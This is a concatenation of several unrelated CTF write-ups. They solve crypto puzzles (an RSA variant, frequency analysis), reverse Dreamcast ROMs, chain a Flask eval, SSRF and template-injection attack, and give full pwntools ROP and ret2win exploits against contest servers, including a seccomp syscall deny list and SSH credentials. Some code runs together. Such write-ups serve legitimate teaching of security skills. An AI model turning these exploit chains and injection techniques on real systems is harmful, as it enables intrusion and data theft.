# **Fword CTF 2020** ## Schuuuuush ### Points : 499### Flag : FwordCTF{Mehdi_knows_alot_about_Schmidt-samoa_but_is_it_better_than_RSA?}Challenge : chall.py```from Crypto.Util.number import getPrime, bytes_to_longfrom gmpy2 import gcdfrom sympy import nextprimefrom secret import flag,BITS
func = lambda x, bits : x**12 + (x & (2**(bits//2)-1))
def PrimeGen(bits): pr = getPrime(bits) p = nextprime(func(pr,bits)) qr = getPrime(bits) q = nextprime(func(qr,bits)) return p, q
p,q = PrimeGen(BITS)n = pow(p,2)*qc = pow(bytes_to_long(flag),n,n)```output.txt ```{n:12838608941410176012340339820403664970195097778934681712442256463398083779434726523727337362548077816498494779634767166505330187300918251880884095061402948317273750734359805972172291702330170769941722135721254301797373910929209389934028023681108705224982459292501258476944977718620453591356928959990356039307404842140809349783009344965382885388230201854950013659777184155467116001057622057495928115145173039957373456282486463372004327112269636005406697476348929483659820840611834738925620510057932617464105487439853704904186236400811201279769590508776546485548532642090814468965154747150494170880560045656388451020601,c:7050573356706442469683539123500770567737718645915519903139491762612445024317075069313476689401710155602518263519640817376340655413504872884207299668765616582487443371872620836280094522785104280556591702549809637571584448052503290838137680131373345867011613789868193526268278698789425705452031352784824472345055152400817574925351780178219492978046243297746285248144022980576645706737451329739930693946984047194996318634833190911615115111633867444659880674198115147887713534332191601313998075654936972222500960455343228277446386199666597757275851736103707318615905859809209855195657904316567873616670459334137634275173}``` **Solution :** First of all we find the **BITS** variable value. Let's say **getPrime(bits)** generate a prime **x**. Bit length of **n** is 2047 and **n** is effectively *x<sup>36</sup>*. So bit length of **x** should be around ***(2047/36)Β±1***. Take some random values for these bit lengths and compare it to n, and it can be easily concluded that **BITS** is **57**. Now let's say:
*p = nextprime(func(x1))* *q = nextprime(func(x2))*
So **p** and **q** are effectively:
*p = x1<sup>12</sup>+k1* *q = x2<sup>12</sup>+k2* , where k1 and k2 are constants << x<sup>12</sup>
Now basically we need to calculate **x1** and **x2**. Let's analyse what the **12th** root of **n** gives:
*n<sup>1/12</sup> = Β p<sup>1/6</sup> \* q<sup>1/12</sup>* Β Β Β Β Β Β Β = Β *x1<sup>2</sup> (1 + k1 / (6 \* x1<sup>12</sup>)) \* x2 (1 + k2 / (6 \* x2<sup>12</sup>))* Β Β Β Β Β [Using binomial approximation] Β Β Β Β Β Β Β = Β *(x1<sup>2</sup> + k1 / (6 \* x1<sup>10</sup>)) \* (x2 + k2 / (6 \* x2<sup>11</sup>))* Β Β Β Β Β Β Β = Β *(x1<sup>2</sup> \* x2 + y)* Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β [y is the rest of the product and it is << 1] Β Β Β Β Β Β Β = Β *x1<sup>2</sup> \* x2* Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β [We are dealing only in integer values]
WTF ? **12th** root of **n** gives **us x1<sup>2</sup> \* x2** >>> _product = iroot(n, 12)[0] [Using gmpy2] # _product = 2199766062441797577302949884026507797060867827397893 Factor **_product** using [factordb.com](http://factordb.com/index.php) and voila: >2199766062441797577302949884026507797060867827397893 = 132788897400365081<sup>2</sup> \* 124753565845126613
As we have **x1** and **x2**, calculate primes and eventually flag. Full solution is avaliable at [shh.py](https://github.com/ketanch/ctf-writeups/blob/master/Fword%20CTF/shh.py) |
Original writeup: [https://padraignix.github.io/reverse-engineering/2020/05/19/nsec2020-dreamcast/](https://padraignix.github.io/reverse-engineering/2020/05/19/nsec2020-dreamcast/)
# Introduction As mentioned in my previous post I will be covering the two NSEC 2020 CTF Dreamcast challenges, my approaches, and solutions. As a fan of both reverse engineering and emulation in general as soon as I saw these challenges I immediately knew I wanted to tackle them. While I had a bit of background with earlier Chip8 and GameBoy architecture and basic emulation loops I was previously not familiar with the Dreamcast's SH-4 CPU architecture. As I will cover below I was initially confused by some of the decompilation output of the challenge ROMs, however after some further reading and analyzing the machine code directly rather than the incorrectly decompiled output I was able to make sense and finish the first challenge. The second challenge was similarly created and with the previous leg work done on the first challenge it took much less time to complete.
-----
## Dreamcast Background
The first thing to do was to familiarize myself with the architecture and how it all worked. The challenge provided 4 files, two .cdi files and two .elf files, one for both of the challenges, and a good 500 page document covering the Dreamcast's SH-4 CPU architecture. This included opcodes and generally any and all information one could want regarding the platform CPU from a hardware perspective. The challenge text also _strongly_ suggested using the reicast emulation software to run the provided ROMs.
Unfortunately one the many complications involved in these challenges was simply getting the emulation working properly.
-----
## Emulation
Sadly the packaged reicast 20.04 release did not end up working for me.
While there were quite a few forum posts and general troubleshooting articles out there none of them seemed to solve my particular issue. Determined to make this run on my Kali instance I opted to git clone the latest branch and compile my own version of the emulator. Thankfully after only a few minor dependency issues that I needed to resolve I was able to get the emulator started.
One last configuration point before we get into actual solutions. Once I was able to get the emulator running I made sure to toggle the dump serial output to stdout. It is debatable whether this helped or not but I like to believe it helped understand a few parts later on.
-----
## Challenge 1 With everything ready let's get that ROM finally loaded!  Woot! Now that the pre-challenge is done we can finally start the real challenge! Alright so right off the bat this seems like a combination lock of sorts. If we enter any random old code to see how it behaves we get the following.  Drat my completely logical "031337" did not work. It seems like we will need to dig a bit deeper. I found it suspicious that we were provided both .cdi and .elf files for the two challenges. It is at this point that I learned the difference between the two through this article. It seems that the elf file includes all the debugging symbols whereas the cdi files do not. This will be very important during the next few steps to understand what is going on at the code level. Let us open up ghidra and pop in that elf file to see what we can find.  Immediately when looking at the function list we see some nice output. Definitely looks like we should be able to piece together the logic. Let's start with main.  Looks like it may possibly be setting up the input digits and entering a graphics loop. Standard emulation workflow, got it. Let's dive into that graphics loop.  Hum, not sure if this useful or not, but let's go one layer deeper into process_code.  Now we're talking. Looks like it is pulling our digit_box_array, arguably the numbers we provide, and seems to compare them to some logic flow. If successful, we trigger _draw_flag however if any of the input comparisons fail we get redirected to _failure. Before we can start going through the logic check we need to step back and get one more vital piece of information - how the digitbox array stores value in memory. If we understand how that works we will be able to step through the processing logic.  Hum, while it helps understand our left/right and up/down, no mention to memory itself. Again, let's go a level deeper.  Excellent! So every each digit takes up 0x14 space. We now know the offset to work with. Unfortunately at this point is where I lost the majority of my time. Understanding the offset from above I tried to start going through the process check based on the decompilation. If we follow the logic provided we should have something along the lines of. 0x0 [0] - must be 10x14 [1] - must be 80x28 [2] - must be 00x3c [3] - must be less than 30x50 [4] - must not be 70x64 [5] - must not be 0 Try as I might, this combination, forwards, backwards was not working. After beating my head against the keyboard a bit I took a step back and looked at the machine code directly rather than decompilation. This was broken into two code chunks representing that first [0] = 1 then the subsequent logic seen in the decompiled while loop.   Thanks to the handy SH-4 documentation provided we can actually understand what this all means! The first part to understand is the SH-4 T-bit. This is the register used to store results of comparisons and other operands and will help us determine our conditional branching logic.  Going through the remainder of the code, the following were the relevant opcodes we need to understand.        Putting it all together we come up with the following logic.  Alright we can see why our previous attempts were not working. Seems the decompilation wasn't exactly accurate and gave us bad advice! With our proper understanding let's give "171270" a shot. That should satisfy all our parameters.  Bam! There we go! Nothing more satisfying than your research and reading coming to fruition! We also get the flag dumped to console as an added bonus.  Alright five second happy dance over, we still have another challenge to complete!
-----
## Challenge 2 With everything primed and ready from the first challenge let's boot up the second ROM and see what we can find.  Ok so very similar to previous challenge, just 5 digits instead of 6. With everything we just learned, let's pop the elf file into ghidra and see what we can find!  Again, very similar the first challenge. We can skip forward a few steps and take a look at process_code as this will most likely be our interesting function.  Hum...we learned our lesson previously with taking the decompilation at face value. Let's cut to the chase with the machine code.   To understand the first three digits we need add a few new opcodes from before.   If we follow along the first three digits need to be "439".  The last two digits are a little more complex to understand as they ultimately interact with each other. At this point we need to introduce our last required opcode.  Essentially, we either shift left or shift right on Rn based on Rm. This also explains why the decompilation provided an if/else statement with either shift left or right. At least the decompile got something right! In the context of our situation, the value of [3] is to be shifted by the value of [4] and the result must equal 8. I found it easier to visualize at this point.  So if [3] = 1 and we shift it by the value of [4] = 3, which since is a positive value ends up performing a left shift, we end up with 1000 in binary, or 8. That brings our final solution to "43913". Let's see if our work pays off!  Excellent! And again similar to the previous challenge our flag is also dumped to stdout. 
-----
## Summary What a ride! I learned about the SH-4 architecture, Dreamcast emulation in general, ROM debug symbols, and most importantly to never trust the decompiled code at face value! I really enjoyed every second of these challenges and look forward to dealing with future emulation based efforts! As always thanks folks, until next time! |
# EZFlask
## Index page
```py# -*- coding: utf-8 -*-from flask import Flask, requestimport requestsfrom waf import *import timeapp = Flask(__name__)
@app.route('/ctfhint')def ctf(): hint =xxxx # hints trick = xxxx # trick return trick
@app.route('/')def index(): # [email protected]('/eval', methods=["POST"])def my_eval(): # post [email protected](xxxxxx, methods=["POST"]) # Secretdef admin(): # admin requestsif __name__ == '__main__': app.run(host='0.0.0.0',port=8080)```
## Solution
Here we can send values to the `/eval` endpoint and execute arbitrary python commands, but we also have a `waf` filter. In eval values we can not use symbols `(){}[]`, some words :`__class__` and etc.
So, to get some `tricks` and `hints` from the `ctf` function we can use function object's attributes like `.__code__.co_consts` and `.__code__.co_names`. Letβs look to the result:
**request:**```POST /eval HTTP/1.1Host: 124.70.206.91:10000Content-Type: application/x-www-form-urlencodedContent-Length: 27
eval=ctf.__code__.co_consts```
**result:**```(None, 'the admin route :h4rdt0f1nd_9792uagcaca00qjaf', 'too young too simple')```
And for the payload `admin.__code__.co_names`:```('request', 'form', 'waf_ip', 'waf_path', 'len', 'requests', 'get', 'format', 'text')```
Now we know the admin route: `/h4rdt0f1nd_9792uagcaca00qjaf`.
The answer from the server by this route;```post ip=x.x.x.x&port=xxxx&path=xxx => http://ip:port/path```
But, when we made a request to the `127.0.0.1` and port `5000` we got the error message: `hacker?`.
So, we understand that we canβt make requests to localhost. But we saw that the admin handler uses the `requests` library. That means that we can use location redirect to redirect the request on localhost.
Letβs create the request to our server and redirect the request to `127.0.0.1:5000` and we got the answer:```import flaskfrom xxxx import flagapp = flask.Flask(__name__)app.config['FLAG'] = [email protected]('/')def index(): return open('app.txt').read()@app.route('/<path:hack>')def hack(hack): return flask.render_template_string(hack)if __name__ == '__main__': app.run(host='0.0.0.0',port=5000)```
Now we only need to send payload with template injection attack and get the `flag` from flask config.
Redirect looks like:```
```
The answer is:```
[("JSON_AS_ASCII", True), ("USE_X_SENDFILE", False), ("SESSION_COOKIE_SECURE", False), ("SESSION_COOKIE_PATH", None), ("SESSION_COOKIE_DOMAIN", None), ("SESSION_COOKIE_NAME", "session"), ("MAX_COOKIE_SIZE", 4093), ("SESSION_COOKIE_SAMESITE", None), ("PROPAGATE_EXCEPTIONS", None), ("ENV", "production"), ("DEBUG", False), ("SECRET_KEY", None), ("EXPLAIN_TEMPLATE_LOADING", False), ("MAX_CONTENT_LENGTH", None), ("APPLICATION_ROOT", "/"), ("SERVER_NAME", None), ("FLAG", "GACTF{wuhUwuHu_a1rpl4n3}"), ("PREFERRED_URL_SCHEME", "http"), ("JSONIFY_PRETTYPRINT_REGULAR", False), ("TESTING", False), ("PERMANENT_SESSION_LIFETIME", datetime.timedelta(31)), ("TEMPLATES_AUTO_RELOAD", None), ("TRAP_BAD_REQUEST_ERRORS", None), ("JSON_SORT_KEYS", True), ("JSONIFY_MIMETYPE", "application/json"), ("SESSION_COOKIE_HTTPONLY", True), ("SEND_FILE_MAX_AGE_DEFAULT", datetime.timedelta(0, 43200)), ("PRESERVE_CONTEXT_ON_EXCEPTION", None), ("SESSION_REFRESH_EACH_REQUEST", True), ("TRAP_HTTP_EXCEPTIONS", False)]```
|
# Weird RSA (Crypto)```I wanted to encrypt my file using RSA. Since I don't know how to properly used, I didn't print my private key nor my public exponent :(! Can you still recover my original plaintext please?
Note: Wrap the flag in FwordCTF{}
Author: KOOLI```Challenge files:[encrypted](encrypted), [encrypt.py](encrypt.py)
Inside `encrypt.py````pyfrom random import randrangefrom Crypto.Util.number import getStrongPrime
p = getStrongPrime(512)q = getStrongPrime(512)n = p * qe = randrange(2**16,2**1024)
plain = open('plaintext','r').read().lower()arr = []for i in plain: arr.append(pow(ord(i),e,n))open('encrypted','w').write(str(n)+"\n"+str(arr))```It used RSA encryption to encrypt some plaintext **one letter by one letter**
If we know `e` the public key then we can brute force all possible character, but `e` is not given..
Notice it used the `lower` function for the plaintext, so the plaintext should be all lowercase.
Checked the length of ciphertext is **923**, means it should have many sentences.
Because it have many words, we can do a [**frequency analysis**](https://en.wikipedia.org/wiki/Frequency_analysis)
The english letter frequency I obtain from [here](https://inventwithpython.com/hacking/chapter20.html)```pyciphertext = [98426799954726408440413472704430046636171583681987185505784002530498274862689729634675078452024406991710095366468163973397776851091330681414047510418149086917152867567493001117411434787727797027775196039905364990138613786636813287715474826332270208711826839101520818674595693268980180373604240938676580835128,...# Count the frequency of each ciphertext and sort them in descending orderfreq = sorted(set(ciphertext), key = ciphertext.count)[::-1]# English letter frequency from highest to lowest# Spaces must be the highestenglishLetterFreq = ' ETAOINSHRDLCUMWFGYPBVKJXQZ'# Map each ciphertext with a lettermapping = {}for i,text in enumerate(freq): if i < 27: mapping[text] = englishLetterFreq[i]# Print letter map to the ciphertextfor c in ciphertext: if c in mapping.keys(): print(mapping[c],end='')```Result:```MIEXLEHUG SHSRGANA NA LAEW MOI PIESVNHY ALPATNTLTNOH UNCDEIAB TDE YEHEISR NWES NA TO MNHW TDE COCLRSI RETTEIA NH TDE UNCDEITEKT SHW TIG TO IECRSUE TDEF PG TDE UOFFOH RETTEIA NH TDE LAEW RSHYLSYEB TDE STTSUVEI LALSRRG UDEUVA AOFE COAANPNRNTNEA SHW FSVEA AOFE ALPATNTLTNOHA OM RETTEIA NH UNCDEITEKTB DE ROOVA MOI COAANPRE SCCESINHY JOIWA SHW PSAEW OH TDST FSVEA FOIE ALPATNTLTNOHAB LANHY UOFCLTEIAQ NT NA COAANPRE TO TIG S ROT OM UOFPNHSTNOHA NH IERSTNZE ADOIT TNFEB JISC TDE MRSY NH NTA MOIFST JERRMIEXLEHUGSHSRGANAIOUVAB MOI EKSFCREQ NM NH TDE SHSRG EW UNCDEITEKT TDE FOAT COCLRSI RETTEI NA KQ OHE FSG CIEWNUT TDST K IECRSUEW E OI O OHE OM TDE FOAT COCLRSI RETTEIA NH EHYRNAD MIOF TDE CRSNHTEKTB NT NA LAEMLR TO ROOV MOI COCLRSI CSNIA OM RETTEIA OI EZEH TIG TO CIEWNUT AOFE MIEXLEHT ROHYEI AEXLEHUEA OM RETTEIA OI JDORE JOIWAB TDE NHTILWEI SRJSGA TINEA TO MNHW AEXLEHUEA OM RETTEIA JDNUD SIE OMTEH LAEW NH TDE AEREUTEW RSHYLSYE```The result is not accurate, but we can solve it using some substitution cipher solver like [quipqiup](https://quipqiup.com/)
Result:```FREQUENCY ANALYSIS IS USED FOR BREAKING SUBSTITUTION CIPHERSZ THE GENERAL IDEA IS TO FIND THE POPULAR LETTERS IN THE CIPHERTEXT AND TRY TO REPLACE THEM BY THE COMMON LETTERS IN THE USED LANGUAGEZ THE ATTACKER USUALLY CHECKS SOME POSSIBILITIES AND MAKES SOME SUBSTITUTIONS OF LETTERS IN CIPHERTEXTZ HE LOOKS FOR POSSIBLE APPEARING WORDS AND BASED ON THAT MAKES MORE SUBSTITUTIONSZ USING COMPUTERSJ IT IS POSSIBLE TO TRY A LOT OF COMBINATIONS IN RELATIVE SHORT TIMEZ WRAP THE FLAG IN ITS FORMAT WELLFREQUENCYANALYSISROCKSZ FOR EXAMPLEJ IF IN THE ANALY ED CIPHERTEXT THE MOST POPULAR LETTER IS XJ ONE MAY PREDICT THAT X REPLACED E OR O ONE OF THE MOST POPULAR LETTERS IN ENGLISH FROM THE PLAINTEXTZ IT IS USEFUL TO LOOK FOR POPULAR PAIRS OF LETTERS OR EVEN TRY TO PREDICT SOME FREQUENT LONGER SEQUENCES OF LETTERS OR WHOLE WORDSZ THE INTRUDER ALWAYS TRIES TO FIND SEQUENCES OF LETTERS WHICH ARE OFTEN USED IN THE SELECTED LANGUAGE```Notice the letter `z` should be fullstop and `j` should be comma, so the plaintext should be:```FREQUENCY ANALYSIS IS USED FOR BREAKING SUBSTITUTION CIPHERS. THE GENERAL IDEA IS TO FIND THE POPULAR LETTERS IN THE CIPHERTEXT AND TRY TO REPLACE THEM BY THE COMMON LETTERS IN THE USED LANGUAGE. THE ATTACKER USUALLY CHECKS SOME POSSIBILITIES AND MAKES SOME SUBSTITUTIONS OF LETTERS IN CIPHERTEXT. HE LOOKS FOR POSSIBLE APPEARING WORDS AND BASED ON THAT MAKES MORE SUBSTITUTIONS. USING COMPUTERS, IT IS POSSIBLE TO TRY A LOT OF COMBINATIONS IN RELATIVE SHORT TIME. WRAP THE FLAG IN ITS FORMAT WELLFREQUENCYANALYSISROCKS. FOR EXAMPLE, IF IN THE ANALYZED CIPHERTEXT THE MOST POPULAR LETTER IS X, ONE MAY PREDICT THAT X REPLACED E OR O ONE OF THE MOST POPULAR LETTERS IN ENGLISH FROM THE PLAINTEXT. IT IS USEFUL TO LOOK FOR POPULAR PAIRS OF LETTERS OR EVEN TRY TO PREDICT SOME FREQUENT LONGER SEQUENCES OF LETTERS OR WHOLE WORDS. THE INTRUDER ALWAYS TRIES TO FIND SEQUENCES OF LETTERS WHICH ARE OFTEN USED IN THE SELECTED LANGUAGE```Saw the flag inside: **WRAP THE FLAG IN ITS FORMAT WELLFREQUENCYANALYSISROCKS.**
## Flag```FwordCTF{WELLFREQUENCYANALYSISROCKS}``` |
# FwordCTF 2020
## Blacklist (postmortem)
> 499> > Welcome agent, i have a new name for you, but it's not gonna be easy to find it. Can you figure it out ? Remember agent, the blacklist name is under your "fbi" home directory in a file named : > > ```> aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa> kaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaa> uaaavaaawaaaxaaayaaazaabbaabcaabdaabeaab> faabgaabhaabiaabjaabkaablaabmaabnaaboaab> paabqaabraabsaabtaabuaabvaabwaabxaabyaab> zaacbaaccaacdaaceaacfaacgaachaaciaacjaac> kaaclaacma.txt> ```> > Raymond Red.>> `nc blacklist.fword.wtf 1236`>> Author : haflout>> [`Blacklist`](blacklist)
Tags: _pwn_ _x86-64_ _bof_ _rop_ _syscall_
## Summary
`blacklist` is statically linked, stripped, outputs nothing, and is further constrained by seccomp.
Syscalls alone _can_ solve this problem.
> This challenge is not unlike [_syscall as a service_](https://github.com/datajerk/ctf-write-ups/blob/master/nahamconctf2020/saas/README.md), a syscall training task from the NahamCon CTF 2020 (I highly recommend this as a syscall trainer). This problem is similar; a blacklist, and you need to use syscalls to read and emit a flag. I decided to use this approach, however there were are some differences, e.g. no `write`, and I also got hung up on emitting `rax` when I didn't need to. I put this aside to work on other problems and just did not get back to this. After reading [BigB00st's](https://github.com/BigB00st) excellent [writeup](https://github.com/BigB00st/ctf-solutions/tree/master/fword/pwn/blacklist), I got the bits I missed, 1. `fd` should be constant, 2. `sendfile` as a replacement for `write`, 3. use the BSS space (don't waste time with the heap). With this in hand the problem became surprisingly simple.> > This writeup, while not exactly the same, is, well, the same; full props to [BigB00st](https://github.com/BigB00st).
## Analysis
### File
```blacklist: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked,BuildID[sha1]=8231fd8232118e3b92ca37d041e1da3ab1daf4d9, for GNU/Linux 3.2.0, stripped```
Stripped and statically linked. I wasted ~30 minutes in Ghidra trying to reverse this. Not a good used of time. Even GDB can be painful without symbols.
### Checksec
``` Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)```
No PIE/ASLR is key. Static linked binaries have a wealth of options for ROP chains, but nothing like having all of libc. `ropper --file blacklist` returns 19607 gadgets. Everything we need should be here.
No canary? BOF/ROP is an option.
### Blacklist (seccomp)
`seccomp-tools dump ./blacklist`:
```c line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x15 0xc000003e if (A != ARCH_X86_64) goto 0023 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x12 0xffffffff if (A != 0xffffffff) goto 0023 0005: 0x15 0x11 0x00 0x00000001 if (A == write) goto 0023 0006: 0x15 0x10 0x00 0x00000002 if (A == open) goto 0023 0007: 0x15 0x0f 0x00 0x00000012 if (A == pwrite64) goto 0023 0008: 0x15 0x0e 0x00 0x00000014 if (A == writev) goto 0023 0009: 0x15 0x0d 0x00 0x00000038 if (A == clone) goto 0023 0010: 0x15 0x0c 0x00 0x00000039 if (A == fork) goto 0023 0011: 0x15 0x0b 0x00 0x0000003a if (A == vfork) goto 0023 0012: 0x15 0x0a 0x00 0x0000003b if (A == execve) goto 0023 0013: 0x15 0x09 0x00 0x0000003e if (A == kill) goto 0023 0014: 0x15 0x08 0x00 0x00000065 if (A == ptrace) goto 0023 0015: 0x15 0x07 0x00 0x000000c8 if (A == tkill) goto 0023 0016: 0x15 0x06 0x00 0x00000113 if (A == splice) goto 0023 0017: 0x15 0x05 0x00 0x00000128 if (A == pwritev) goto 0023 0018: 0x15 0x04 0x00 0x00000130 if (A == open_by_handle_at) goto 0023 0019: 0x15 0x03 0x00 0x00000135 if (A == getcpu) goto 0023 0020: 0x15 0x02 0x00 0x00000142 if (A == execveat) goto 0023 0021: 0x15 0x01 0x00 0x00000148 if (A == pwritev2) goto 0023 0022: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0023: 0x06 0x00 0x00 0x00000000 return KILL```
No `write`.
The last seccomp challenge I worked on I ended up using a combination of GOT and syscalls. I tried to make sense of the GOT, but I _got_ nowhere.
### Decompile with Ghidra
Don't waste your time.
### Guess BOF
After all of the above I just went for it and typed:
```bash# cyclic 1000 | ./blacklistSegmentation fault```
Boom! We have a vulnerability.
Finding the offset in GDB was trivial as well. 72.
Given the constraints above, attempt to `read` in the file name, open with `openat` (frequent alternative to `open`), and then use `sendfile` to emit to stdout (hat tip to [BigB00st](https://github.com/BigB00st/ctf-solutions/tree/master/fword/pwn/blacklist))
## Exploit
### Setup
```python#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./blacklist')context.log_level = 'INFO'context.log_file = 'log.log'
flagfile = '/home/fbi/aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacma.txt'filesize = 100 # guess?```
Most of this is boilerplate except for `flagfile` and `filesize`.
The name of the flag is given in the challenge description. The prepended directory is a guess (_under your "fbi" home directory_). It is necessary to use the full path name or `openat` will not work (trust me, I tried). `openat` requires a `dirfd` if not absolute. The challenge with `dirfd` is finding a way to emit `rax` or move it to `rdi`. This is not impossible (I did try to get `rax` to `rdi` and `rsi`, I think at this point it's best to just upload shellcode and use `mprotect` (other write ups used that method)).
As for `filesize`, no idea how long the flag is. `100` was a guess for the upper limit.
### Find offset
```python# find offsetp = process(binary.path)p.sendline(cyclic(1024,n=8))p.wait()core = p.corefilep.close()os.remove(core.file.name)offset = cyclic_find(core.read(core.rsp, 8),n=8)log.info('offset: ' + str(offset))log.info('rip: ' + hex(core.rip))```
While the offset has already been determined I still like to have it computed, and the reported `rip` is a useful reminder for what to set my breakpoint to when attaching a debugger (which I had to, to find the `fd` value, and troubleshoot).
### Find gadgets
```pythontry: rop = ROP([binary]) pop_rax = rop.find_gadget(['pop rax','ret'])[0] pop_rdi = rop.find_gadget(['pop rdi','ret'])[0] pop_rsi = rop.find_gadget(['pop rsi','ret'])[0] pop_rdx = rop.find_gadget(['pop rdx','ret'])[0] pop_r10 = list(binary.search(asm('pop r10; ret')))[0] pop_r9 = list(binary.search(asm('pop r9; ret')))[0] pop_r8 = list(binary.search(asm('pop r8; ret')))[0] sys_ret = list(binary.search(asm('syscall; ret')))[0]except: log.info('no ROP for you!') sys.exit(0)```
This is a frequent problem with pwnlib; it will not find all gadgets. Using `asm` and `search` to fill in the gaps is a common stopgap (for me at least).
I was actually surprised all of them were there.
### Generic syscall function
```pythondef syscall(rax=None,rdi=None,rsi=None,rdx=None,r10=None,r9=None,r8=None): assert(rax != None) payload = b'' if rdi != None: payload += p64(pop_rdi) + p64(rdi) if rsi != None: payload += p64(pop_rsi) + p64(rsi) if rdx != None: payload += p64(pop_rdx) + p64(rdx) if r10 != None: payload += p64(pop_r10) + p64(r10) if r9 != None: payload += p64(pop_r9) + p64(r9) if r8 != None: payload += p64(pop_r8) + p64(r8) return payload + p64(pop_rax) + p64(rax) + p64(sys_ret)```
This is similar with what I did for [_syscall as a service_](https://github.com/datajerk/ctf-write-ups/blob/master/nahamconctf2020/saas/README.md).
The parameters are in Linux ABI order so one just needs to type `man 2 syscall name`, and call `syscall` with first the name of the syscall, e.g. `constants.SYS_read.real`, followed by the arguments in the same order as the man page.
> NOTE: It is import that `binary.context` is set (see Setup section), or pwnlib `constants` will default to `i386`.
### Get the flag
```#p = process(binary.path)p = remote('blacklist.fword.wtf', 1236)
fd = 3payload = offset * b'A'payload += syscall(constants.SYS_read.real,constants.STDIN_FILENO.real,binary.bss(),len(flagfile))payload += syscall(constants.SYS_openat.real,0,binary.bss(),0)payload += syscall(constants.SYS_sendfile.real,constants.STDOUT_FILENO.real,fd,0,filesize)
p.sendline(payload)p.send(flagfile)log.info(p.recv(filesize))```
Kind of anticlimactic at this point. Just three syscalls.
> `fd` needs to be found manually (I guess one could script GDB). I just set a breakpoint at `*0x401dd3` (RIP, reported from the core file above) before sending the payload and followed step by step until the `openat` syscall. `rax` (`fd`) was always 3.
Output:
```# ./exploit.py[*] '/pwd/datajerk/fwordctf2020/blacklist/blacklist' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)[+] Starting local process '/pwd/datajerk/fwordctf2020/blacklist/blacklist': pid 23913[*] Process '/pwd/datajerk/fwordctf2020/blacklist/blacklist' stopped with exit code -11 (SIGSEGV) (pid 23913)[!] Found bad environment at 0x7fff65577fbc[+] Parsing corefile...: Done[*] '/pwd/datajerk/fwordctf2020/blacklist/core.23913' Arch: amd64-64-little RIP: 0x401dd3 RSP: 0x7fff65576108 Exe: '/pwd/datajerk/fwordctf2020/blacklist/blacklist' (0x401000) Fault: 0x616161616161616a[*] offset: 72[*] rip: 0x401dd3[*] Loaded 126 cached gadgets for './blacklist'[+] Opening connection to blacklist.fword.wtf on port 1236: Done[*] b'FwordCTF{th3_n4M3_1s_El1Z4be7h_K33n}\n\n'``` |
# FwordCTF 2020
## Ez Ret 2 Win ? (postmortem)
> 499> > Is it really an easy Ret2Win ? i just couldn't exploit it :'( > **PS: Task is not broken ,this is the intended behaviour of the binary.** > SSH Credentials: > `ssh -p 2222 [emailΒ protected]` > Password: `FwOrDAndKahl4FTW` >> Author: KAHLA>> [`superez`](superez)
Tags: _pwn_ _x86-64_ _bof_ _ret2win_ _ssh_
## Summary
This _is_ a stupid _easy_ _ret2win_ that worked locally, but not remotely (via ssh). After reading a writeup, I was just _off by one_. Kinda pissed.
Hat tip again to [po6ix](https://gist.github.com/po6ix/) for their [writeup](https://gist.github.com/po6ix/31a1ed1b033b1ab23541c84e83de448d#file-ez-ret-to-win-py)
The key is here from po6ix:
```# payload += p64(0x400917)payload += p64(0x400918)```
+1. Goddamnit.
## Analysis
### Checksec
``` Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)```
The title indicate this is _ret2win_, so assume we just need to BOF and _ret2win_.
### Decompile with Ghidra
```c if (__fd == 0) { printf("Enter Your password to continue: "); gets(local_a8); printf("you typed \'%s\', Good Bye!\n",local_a8);```
From `main` above, `gets` is the vulnerability. And the buffer is `0xa8` bytes from the return address.
```cundefined8 rasengan(void){ int iVar1; FILE *__stream; __stream = fopen("flag.txt","r"); if (__stream == (FILE *)0x0) { perror("flag.txt not found! If this happened in the server contact the author please!"); /* WARNING: Subroutine does not return */ exit(1); } while( true ) { iVar1 = fgetc(__stream); if ((char)iVar1 == -1) break; putchar((int)(char)iVar1); } fclose(__stream); return 0;}```
Here is our `win` function. Easy, right?
## Exploit
### Local Test
```#!/usr/bin/env python
from pwn import *
binary = context.binary = ELF('./superez')context.log_level = 'DEBUG'context.log_file = 'foo.log'
p = process(binary.path, stdin=PTY, raw=True)p.recvuntil('Enter Your password to continue:')payload = 0xa8 * b'A'payload += p64(binary.sym.rasengan)p.sendline(payload)p.interactive()```
This worked perfectly.
### Remote Test
```#!/usr/bin/env python
from pwn import *
binary = context.binary = ELF('./superez')context.log_level = 'INFO'context.log_file = 'log.log'
s = ssh(host='superez.fword.wtf',user='ctf',port=2222,password='FwOrDAndKahl4FTW')p = s.run('/bin/bash')p.recvuntil('/home/user1$')p.sendline('./task')
p.recvuntil('Enter Your password to continue:')payload = 0xa8 * b'A'payload += p64(binary.sym.rasengan)p.sendline(payload)p.interactive()```
This did _NOT_ work. I wasted all my time thinking it was something with ssh and some of the `termios` shitfuckery in `main`.
In hindsight I should have just checked out the libc version on the remote server, or just blindly tested:
`payload += p64(binary.sym.rasengan + 1)`
